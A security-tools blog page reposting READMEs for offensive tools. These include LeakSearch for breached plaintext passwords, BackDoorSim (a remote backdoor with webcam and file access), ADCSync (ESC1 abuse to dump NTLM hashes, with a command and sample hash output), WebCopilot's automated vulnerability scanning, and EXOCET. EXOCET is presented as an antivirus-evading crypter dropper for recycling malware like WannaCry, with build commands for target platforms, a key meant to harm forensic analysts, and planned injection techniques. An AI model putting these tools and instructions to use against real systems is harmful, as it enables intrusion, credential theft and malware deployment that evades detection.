Security of Information, Threat Intelligence, Hacking, Offensive Security, Pentest, Open Source, Hackers Tools, Leaks, Pr1v8, Premium Courses Free, etc

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...
Showing posts with label Hackers Tools. Show all posts
Showing posts with label Hackers Tools. Show all posts

Saturday, May 11, 2024

LeakSearch - Search & Parse Password Leaks


LeakSearch is a simple tool to search and parse plain text passwords using ProxyNova COMB (Combination Of Many Breaches) over the Internet. You can define a custom proxy and you can also use your own password file, to search using different keywords: such as user, domain or password.

In addition, you can define how many results you want to display on the terminal and export them as JSON or TXT files. Due to the simplicity of the code, it is very easy to add new sources, so more providers will be added in the future.


Requirements
  • Python 3
  • Install requirements

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/LeakSearch

Usage
  _               _     ____                      _     
| | ___ __ _| | __/ ___| ___ __ _ _ __ ___| |__
| | / _ \/ _` | |/ /\___ \ / _ \/ _` | '__/ __| '_ \
| |__| __/ (_| | < ___) | __/ (_| | | | (__| | | |
|_____\___|\__,_|_|\_\|____/ \___|\__,_|_| \___|_| |_|

------------------- by @JoelGMSec -------------------

usage: LeakSearch.py [-h] [-d DATABASE] [-k KEYWORD] [-n NUMBER] [-o OUTPUT] [-p PROXY]

options:
-h, --help show this help message and exit
-d DATABASE, --database DATABASE
Database used for the search (ProxyNova or LocalDataBase)
-k KEYWORD, --keyword KEYWORD
Keyword (user/domain/pass) to search for leaks in the DB
-n NUMBER, --number NUMBER
Number of results to show (default is 20)
-o OUTPUT, --output OUTPUT
Save the results as json or txt into a file
-p PROXY, --proxy PROXY
Set HTTP/S proxy (like http://localhost:8080)


The detailed guide of use can be found at the following link:

https://darkbyte.net/buscando-y-filtrando-contrasenas-con-leaksearch


License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.




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Huntr-Com-Bug-Bounties-Collector - Keep Watching New Bug Bounty (Vulnerability) Postings


New bug bounty(vulnerabilities) collector

Requirements
  • Chrome with GUI (If you encounter trouble with script execution, check the status of VMs GPU features, if available.)
  • Chrome WebDriver

Preview
# python3 main.py

*2024-02-20 16:14:47.836189*

1. Arbitrary File Reading due to Lack of Input Filepath Validation
- Feb 6th 2024 / High (CVE-2024-0964)
- gradio-app/gradio
- https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/

2. View Barcode Image leads to Remote Code Execution
- Jan 31st 2024 / Critical (CVE: Not yet)
- dolibarr/dolibarr
- https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/

(delimiter-based file database)

# vim feeds.db

1|2024-02-20 16:17:40.393240|7fe14fd58ca2582d66539b2fe178eeaed3524342|CVE-2024-0964|https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/
2|2024-02-20 16:17:40.393987|c6b84ac808e7f229a4c8f9fbd073b4c0727e07e1|CVE: Not yet|https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/
3|2024-02-20 16:17:40.394582|7fead9658843919219a3b30b8249700d968d0cc9|CVE: Not yet|https://huntr.com/bounties/d6cb06dc-5d10-4197-8f89-847c3203d953/
4|2024-02-20 16:17:40.395094|81fecdd74318ce7da9bc29e81198e62f3225bd44|CVE: Not yet|https://huntr.com/bounties/d875d1a2-7205-4b2b-93cf-439fa4c4f961/
5|2024-02-20 16:17:40.395613|111045c8f1a7926174243db403614d4a58dc72ed|CVE: Not yet|https://huntr.com/bounties/10e423cd-7051-43fd-b736-4e18650d0172/

Notes
  • This code is designed to parse HTML elements from huntr.com, so it may not function correctly if the HTML page structure changes.
  • In case of errors during parsing, exception handling has been included, so if it doesn't work as expected, please inspect the HTML source for any changes.
  • If get in trouble In a typical cloud environment, scripts may not function properly within virtual machines (VMs).



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Wednesday, March 13, 2024

BackDoorSim - An Educational Into Remote Administration Tools


BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.


Disclaimer

This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.


Features
  • File Transfer: Upload and download files between server and client.
  • Screenshot Capture: Take screenshots from the client's system.
  • System Information Gathering: Retrieve detailed system and security software information.
  • Camera Access: Capture images from the client's webcam.
  • Notifications: Send and display notifications on the client system.
  • Help Menu: Easy access to command information and usage.

Installation

To set up BackdoorSim, you will need to install it on both the server and client machines.

  1. Clone the repository:

shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git

  1. Navigate to the project directory:

shell $ cd BackDoorSim

  1. Install the required dependencies:

shell $ pip install -r requirements.txt


Usage

After starting both the server and client, you can use the following commands in the server's command prompt:

  • upload [file_path]: Upload a file to the client.
  • download [file_path]: Download a file from the client.
  • screenshot: Capture a screenshot from the client.
  • sysinfo: Get system information from the client.
  • securityinfo: Get security software status from the client.
  • camshot: Capture an image from the client's webcam.
  • notify [title] [message]: Send a notification to the client.
  • help: Display the help menu.

Disclaimer

BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.


DepNot: RansomwareSim

If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool


BackdoorSim: An Educational into Remote Administration Tools

If you want to read our article about Backdoor


Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.


Contact

For any inquiries or further information, you can reach me through the following channels:


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Friday, February 23, 2024

RepoReaper - An Automated Tool Crafted To Meticulously Scan And Identify Exposed .Git Repositories Within Specified Domains And Their Subdomains


RepoReaper is a precision tool designed to automate the identification of exposed .git repositories across a list of domains and subdomains. By processing a user-provided text file with domain names, RepoReaper systematically checks each for publicly accessible .git files. This enables rapid assessment and protection against information leaks, making RepoReaper an essential resource for security teams and web developers.

Features
  • Automated scanning of domains and subdomains for exposed .git repositories.
  • Streamlines the detection of sensitive data exposures.
  • User-friendly command-line interface.
  • Ideal for security audits and Bug Bounty.

Installation

Clone the repository and install the required dependencies:

git clone https://github.com/YourUsername/RepoReaper.git
cd RepoReaper
pip install -r requirements.txt
chmod +x RepoReaper.py

Usage

RepoReaper is executed from the command line and will prompt for the path to a file containing a list of domains or subdomains to be scanned.

To start RepoReaper, simply run:

./RepoReaper.py
or
python3 RepoReaper.py

Upon execution, RepoReaper will ask for the path to the file containing the domains or subdomains: Enter the path of the file containing domains

Provide the path to your text file when prompted. The file should contain one domain or subdomain per line, like so:

example.com
subdomain.example.com
anotherdomain.com

RepoReaper will then proceed to scan the provided domains or subdomains for exposed .git repositories and report its findings. 


Disclaimer

This tool is intended for educational purposes and security research only. The user assumes all responsibility for any damages or misuse resulting from its use.


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Sunday, February 18, 2024

AzSubEnum - Azure Service Subdomain Enumeration


AzSubEnum is a specialized subdomain enumeration tool tailored for Azure services. This tool is designed to meticulously search and identify subdomains associated with various Azure services. Through a combination of techniques and queries, AzSubEnum delves into the Azure domain structure, systematically probing and collecting subdomains related to a diverse range of Azure services.


How it works?

AzSubEnum operates by leveraging DNS resolution techniques and systematic permutation methods to unveil subdomains associated with Azure services such as Azure App Services, Storage Accounts, Azure Databases (including MSSQL, Cosmos DB, and Redis), Key Vaults, CDN, Email, SharePoint, Azure Container Registry, and more. Its functionality extends to comprehensively scanning different Azure service domains to identify associated subdomains.

With this tool, users can conduct thorough subdomain enumeration within Azure environments, aiding security professionals, researchers, and administrators in gaining insights into the expansive landscape of Azure services and their corresponding subdomains.


Why i create this?

During my learning journey on Azure AD exploitation, I discovered that the Azure subdomain tool, Invoke-EnumerateAzureSubDomains from NetSPI, was unable to run on my Debian PowerShell. Consequently, I created a crude implementation of that tool in Python.


Usage
➜  AzSubEnum git:(main) ✗ python3 azsubenum.py --help
usage: azsubenum.py [-h] -b BASE [-v] [-t THREADS] [-p PERMUTATIONS]

Azure Subdomain Enumeration

options:
-h, --help show this help message and exit
-b BASE, --base BASE Base name to use
-v, --verbose Show verbose output
-t THREADS, --threads THREADS
Number of threads for concurrent execution
-p PERMUTATIONS, --permutations PERMUTATIONS
File containing permutations

Basic enumeration:

python3 azsubenum.py -b retailcorp --thread 10

Using permutation wordlists:

python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt

With verbose output:

python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt --verbose



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BucketLoot - An Automated S3-compatible Bucket Inspector


BucketLoot is an automated S3-compatible Bucket inspector that can help users extract assets, flag secret exposures and even search for custom keywords as well as Regular Expressions from publicly-exposed storage buckets by scanning files that store data in plain-text.

The tool can scan for buckets deployed on Amazon Web Services (AWS), Google Cloud Storage (GCS), DigitalOcean Spaces and even custom domains/URLs which could be connected to these platforms. It returns the output in a JSON format, thus enabling users to parse it according to their liking or forward it to any other tool for further processing.

BucketLoot comes with a guest mode by default, which means a user doesn't needs to specify any API tokens / Access Keys initially in order to run the scan. The tool will scrape a maximum of 1000 files that are returned in the XML response and if the storage bucket contains more than 1000 entries which the user would like to run the scanner on, they can provide platform credentials to run a complete scan. If you'd like to know more about the tool, make sure to check out our blog.

Features

Secret Scanning

Scans for over 80+ unique RegEx signatures that can help in uncovering secret exposures tagged with their severity from the misconfigured storage bucket. Users have the ability to modify or add their own signatures in the regexes.json file. If you believe you have any cool signatures which might be helpful for others too and could be flagged at scale, go ahead and make a PR!

Sensitive File Checks

Accidental sensitive file leakages are a big problem that affects the security posture of individuals and organisations. BucketLoot comes with a 80+ unique regEx signatures list in vulnFiles.json which allows users to flag these sensitive files based on file names or extensions.

Dig Mode

Want to quickly check if any target website is using a misconfigured bucket that is leaking secrets or any other sensitive data? Dig Mode allows you to pass non-S3 targets and let the tool scrape URLs from response body for scanning.

Asset Extraction

Interested in stepping up your asset discovery game? BucketLoot extracts all the URLs/Subdomains and Domains that could be present in an exposed storage bucket, enabling you to have a chance of discovering hidden endpoints, thus giving you an edge over the other traditional recon tools.

Searching

The tool goes beyond just asset discovery and secret exposure scanning by letting users search for custom keywords and even Regular Expression queries which may help them find exactly what they are looking for.

To know more about our Attack Surface Management platform, check out NVADR.


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ADCSync - Use ESC1 To Perform A Makeshift DCSync And Dump Hashes


This is a tool I whipped up together quickly to DCSync utilizing ESC1. It is quite slow but otherwise an effective means of performing a makeshift DCSync attack without utilizing DRSUAPI or Volume Shadow Copy.


This is the first version of the tool and essentially just automates the process of running Certipy against every user in a domain. It still needs a lot of work and I plan on adding more features in the future for authentication methods and automating the process of finding a vulnerable template.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00, 1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LO CAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

Introduction

ADCSync uses the ESC1 exploit to dump NTLM hashes from user accounts in an Active Directory environment. The tool will first grab every user and domain in the Bloodhound dump file passed in. Then it will use Certipy to make a request for each user and store their PFX file in the certificate directory. Finally, it will use Certipy to authenticate with the certificate and retrieve the NT hash for each user. This process is quite slow and can take a while to complete but offers an alternative way to dump NTLM hashes.

Installation

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

Usage

To use this tool we need the following things:

  1. Valid Domain Credentials
  2. A user list from a bloodhound dump that will be passed in.
  3. A template vulnerable to ESC1 (Found with Certipy find)
# python3 adcsync.py --help
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/

Usage: adcsync.py [OPTIONS]

Options:
-f, --file TEXT Input User List JSON file from Bloodhound [required]
-o, --output TEXT NTLM Hash Output file [required]
-ca TEXT Certificate Authority [required]
-dc-ip TEXT IP Address of Domain Controller [required]
-u, --user TEXT Username [required]
-p, --password TEXT Password [required]
-template TEXT Template Name vulnerable to ESC1 [required]
-target-ip TEXT IP Address of th e target machine [required]
--help Show this message and exit.

TODO

  • Support alternative authentication methods such as NTLM hashes and ccache files
  • Automatically run "certipy find" to find and grab templates vulnerable to ESC1
  • Add jitter and sleep options to avoid detection
  • Add type validation for all variables

Acknowledgements

  • puzzlepeaches: Telling me to hurry up and write this
  • ly4k: For Certipy
  • WazeHell: For the script to set up the vulnerable AD environment used for testing

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EasyEASM - Zero-dollar Attack Surface Management Tool


Zero-dollar attack surface management tool

featured at Black Hat Arsenal 2023 and Recon Village @ DEF CON 2023.

Description

Easy EASM is just that... the easiest to set-up tool to give your organization visibility into its external facing assets.

The industry is dominated by $30k vendors selling "Attack Surface Management," but OG bug bounty hunters and red teamers know the truth. External ASM was born out of the bug bounty scene. Most of these $30k vendors use this open-source tooling on the backend.

With ten lines of setup or less, using open-source tools, and one button deployment, Easy EASM will give your organization a complete view of your online assets. Easy EASM scans you daily and alerts you via Slack or Discord on newly found assets! Easy EASM also spits out an Excel skeleton for a Risk Register or Asset Database! This isn't rocket science, but it's USEFUL. Don't get scammed. Grab Easy EASM and feel confident you know what's facing attackers on the internet.

Installation

go install github.com/g0ldencybersec/EasyEASM/easyeasm@latest

Example config file

The tool expects a configuration file named config.yml to be in the directory you are running from.

Here is example of this yaml file:

# EasyEASM configurations
runConfig:
domains: # List root domains here.
- example.com
- mydomain.com
slack: https://hooks.slack.com/services/DUMMYDATA/DUMMYDATA/RANDOM # Slack webhook url for Slack notifications.
discord: https://discord.com/api/webhooks/DUMMYURL/Dasdfsdf # Discord webhook for Discord notifications.
runType: fast # Set to either fast (passive enum) or complete (active enumeration).
activeWordList: subdomainWordlist.txt
activeThreads: 100

Usage

To run the tool, fill out the config file: config.yml. Then, run the easyeasm module:

./easyeasm

After the run is complete, you should see the output CSV (EasyEASM.csv) in the run directory. This CSV can be added to your asset database and risk register!

Warranty

The creator(s) of this tool provides no warranty or assurance regarding its performance, dependability, or suitability for any specific purpose.

The tool is furnished on an "as is" basis without any form of warranty, whether express or implied, encompassing, but not limited to, implied warranties of merchantability, fitness for a particular purpose, or non-infringement.

The user assumes full responsibility for employing this tool and does so at their own peril. The creator(s) holds no accountability for any loss, damage, or expenses sustained by the user or any third party due to the utilization of this tool, whether in a direct or indirect manner.

Moreover, the creator(s) explicitly renounces any liability or responsibility for the accuracy, substance, or availability of information acquired through the use of this tool, as well as for any harm inflicted by viruses, malware, or other malicious components that may infiltrate the user's system as a result of employing this tool.

By utilizing this tool, the user acknowledges that they have perused and understood this warranty declaration and agree to undertake all risks linked to its utilization.

License

This project is licensed under the MIT License - see the LICENSE.md for details.

Contact

For assistance, use the Issues tab. If we do not respond within 7 days, please reach out to us here.



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WebCopilot - An Automation Tool That Enumerates Subdomains Then Filters Out Xss, Sqli, Open Redirect, Lfi, Ssrf And Rce Parameters And Then Scans For Vulnerabilities


WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.

The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.


Features

Usage

g!2m0:~ webcopilot -h
             
──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░░█████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█████╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║ ░░░░██║░░██║░░░██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝ ░╚════╝░╚═╝░░░░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0

Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]

Flags:
-d Add your target [Requried]
-o To save outputs in folder [Default: domain.com]
-t Number of threads [Default: 100]
-b Add your server for BXSS [Default: False]
-x Exclude out of scope domains [Default: False]
-s Run only Subdomain Enumeration [Default: False]
-h Show this help message

Example: webcopilot -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your server

Installing WebCopilot

WebCopilot requires git to install successfully. Run the following command as a root to install webcopilot

git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.sh

Tools Used:

SubFinderSublist3rFindomaingfOpenRedireXdnsxsqlmapgobusterassetfinderhttpxkxssqsreplaceNucleidalfoxanewjqaquatoneurldedupeAmassgaupluswaybackurlscrlfuzz

Running WebCopilot

To run the tool on a target, just use the following command.

g!2m0:~ webcopilot -d bugcrowd.com

The -o command can be used to specify an output dir.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd

The -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s 

The -t command can be used to add thrads to your scan for faster result.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 

The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xss

The -x command can be used to exclude out of scope domains.

g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xss

Example

Default options looks like this:

g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd
                                ──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░ █████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█ ███╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║░░░░░██║░░██║░░ ██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░░ ░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0


[❌] Warning: Use with caution. You are responsible for your own actions.
[❌] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.


Target: bugcrowd.com
Output: /home/gizmo/targets/bugcrowd
Threads: 100
Server: False
Exclude: False
Mode: Running all Enumeration
Time: 30-08-2021 15:10:00

[!] Please wait while scanning...

[●] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[●] Subdoamin Scanned - [assetfinder✔] Subdomain Found: 34
[●] Subdoamin Scanned - [sublist3r✔] Subdomain Found: 29
[●] Subdoamin Scanned - [subfinder✔] Subdomain Found: 54
[●] Subdoamin Scanned - [amass✔] Subdomain Found: 43
[●] Subdoamin Scanned - [findomain✔] Subdomain Found: 27

[●] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[●] Active Subdoamin Scanned - [gobuster✔] Subdomain Found: 11
[●] Active Subdoamin Scanned - [amass✔] Subdomain Found: 0

[●] Subdomain Scanning: Filtering out of scope subdomains
[●] Subdomain Scanning: Filtering Alive subdomains
[●] Subdomain Scanning: Getting titles of valid subdomains
[●] Visual inspection of Subdoamins is completed. Check: /subdomains/aquatone/

[●] Scanning Completed for Subdomains of bugcrowd.com Total: 43 | Alive: 30

[●] Endpoints Scanning Completed for Subdomains of bugcrowd.com Total: 11032
[●] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[●] Vulnerabilities Scanned - [XSS✔] Found: 0
[●] Vulnerabilities Scanned - [SQLi✔] Found: 0
[●] Vulnerabilities Scanned - [LFI✔] Found: 0
[●] Vulnerabilities Scanned - [CRLF✔] Found: 0
[●] Vulnerabilities Scanned - [SSRF✔] Found: 0
[●] Vulnerabilities Scanned - [Sensitive Data✔] Found: 0
[●] Vulnerabilities Scanned - [Open redirect✔] Found: 0
[●] Vulnerabilities Scanned - [Subdomain Takeover✔] Found: 0
[●] Vulnerabilities Scanned - [Nuclie✔] Found: 0
[●] Vulnerabilities Scanning Completed for Subdomains of bugcrowd.com Check: /vulnerabilities/


▒█▀▀█ █▀▀ █▀▀ █░░█ █░░ ▀▀█▀▀
▒█▄▄▀ █▀▀ ▀▀█ █░░█ █░░ ░░█░░
▒█░▒█ ▀▀▀ ▀▀▀ ░▀▀▀ ▀▀▀ ░░▀░░

[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0

Acknowledgement

WebCopilot is inspired from Garud & Pinaak by ROX4R.



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Monday, February 7, 2022

EXOCET - AV-evading, Undetectable, Payload Delivery Tool


EXOCET is superior to Metasploit's "Evasive Payloads" modules as EXOCET uses AES-256 in GCM Mode (Galois/Counter Mode). Metasploit's Evasion Payloads uses a easy to detect RC4 encryption. While RC4 can decrypt faster, AES-256 is much more difficult to ascertain the intent of the malware.



However, it is possible to use Metasploit to build a Evasive Payload, and then chain that with EXOCET. So EXOCET will decrypt via AES-256, and then the Metasploit Evasive Payload then decrypts itself from RC4.

Much like my previous project, DarkLordObama, this toolkit is designed to be a delivery/launch vehicle, much like Veil-Evasion does.

Dark Lord Obama Project

However, EXOCET is not limited to a single codebase or platforms that are running Python. EXOCET works on ALL supported platforms and architectures that Go supports.


Exocet Overview

EXOCET, is effectively a crypter-type malware dropper that can recycle easily detectable payloads like WannaCry, encrypt them using AES-GCM (Galois/Counter Mode), which is more secure than AES-CBC, and then create a dropper file for a majority of architectures and platforms out there.

Basically...

  1. It ingests dangerous malware that are now detectable by antivirus engines
  2. It then encrypts them and produces it's own Go file
  3. Then that Go file can be cross-compiled to 99% of known architectures
  4. Upon execution, the encrypted payload is written to the disk and immediately executed on the command line
  5. Alternatively, instead of a file-drop, it will execute the reconstitute shellcode in memory using amenzhinsky's go-memexec module github.com/amenzhinsky/go-memexec
  6. A custom shellcode executor is in the works, it takes ordinary C shellcode and after num-transform, it will run it by creating a new process after allocating the correct virtual address space and granting it RWX permissions on Windows

That means 32-bit, and 64-bit architectures, and it works on Linux, Windows, Macs, Unix, Android, iPhone, etc. You take, anything, and I mean ANYTHING, like the 1988 Morris Worm that nearly brought down the internet (which exploited a flaw in the fingerd listener daemon on UNIX), and make it a viable cyberweapon again.

EXOCET is designed to be used with the DSX Program, or the "Cyber Metal Gear" as I envisioned it. Being able to launch and proliferate dangerous malware without a traceable launch trail.

EXOCET is written entirely in Go.


How to use

EXOCET, regardless of which binary you use to run it, requires Golang to work. By default, it generates a crypter .go file.

  1. Windows users: Install Go Here
  2. Linux users: run sudo apt-get update && sudo apt-get install -y golang
  3. You must install the EXOCET source files in golang go get github.com/tanc7/EXOCET-AV-Evasion
  4. Sub-requirements will also be downloaded and installed
  5. For Windows and Mac x64 Users, pre-compiled binaries are in the /bin folder

To run it

go run EXOCET.go detectablemalware.exe outputmalware.go

A key is automatically generated for you. The key is 64-characters long and is entirely composed of bash and cmd.exe shell pipe redirectors to confuse and disrupt brute-forcing attempts against the key by causing unpredictable, destructive behavior on the forensic analyst's device.

For 64-bit Windows Targets...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

And out comes a outputmalware.exe file

For 64-bit MacOS Targets

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

For 64-bit Linux Targets

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

See this reference on github for your parameters for other operating systems like Android Reference for Go Cross Compilation

Note that the key can still be found with the strings command, please use the upx-ucl command to pack binary to conceal the key.

Furthermore, there are prebuilt binaries that I have made, meaning you just have to run ./EXOCET or EXOCET-Windows.exe


Legal Information

I, Chang Tan, and the creators of the main module and submodules of Exocet and the packages it incorporates are NOT responsible for the misuse of this tool. This is merely a penetration testing tool. You are strictly prohibited from deploying Exocet output binaries against unauthorized protected systems or unauthorized protected government systems.

I am aware that threat actors of APT41 and the NSO Group have used and/or adopted code from this tool, particularly the go-memexec method. If I were to be approached by Federal Investigators regarding the misuse of this tool, I am not claiming responsibility.

This is the same stuff that happened to the developers of Mimikatz and PowerShell Empire (who deprecated their own development upon realization of its use among threat actors). The successors have picked up development of Empire, and there are free alternatives such as Covenant C2.


EXOCET live demo
<iframe width="560" height="315" src="https://github.com/tanc7/EXOCET-AV-Evasion/blob/master/media/exocetdemo.mp4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Reason for the name

On May 4th, 1982, during the Falklands War, a squadron of Argentinan Super Eterdards launched a French made Exocet missile at the HMS Sheffield. Despite the Royal Navy's attempts to stop the missile, one struck, sinking the Sheffield. That incident literally put Argentina on the map as a show of force against a global colonial power.

News Article of the sinking of the HMS Sheffield

Very much like how Onel de Guzman's actions with the ILOVEYOU virus put the Philippines on the map as a cyber threat.

ILOVEYOU Virus on Wikipedia


Incoming update, notes and ambitions


 

So this month, and the next month is going to be a busy month for me, and there will be delays in implementing these methods. But I am excited to get started on implementing new AV evasion techniques such as...

  1. Inline hooking
  2. Obfuscation by emulating BlackRota and the gobfuscate module
  3. Process hollowing
  4. Reflective DLL injection
  5. Remote process injection
  6. ThreadLocalStorage Callbacks
  7. Registration of Top-Level Exception Handlers
  8. Custom UPX packing

I am a very busy man, I have the following priorities and I would like to request some help, some pull requests to aid in the project. Since I have the following things to do

  1. A court appearance in late October
  2. National Cyber League
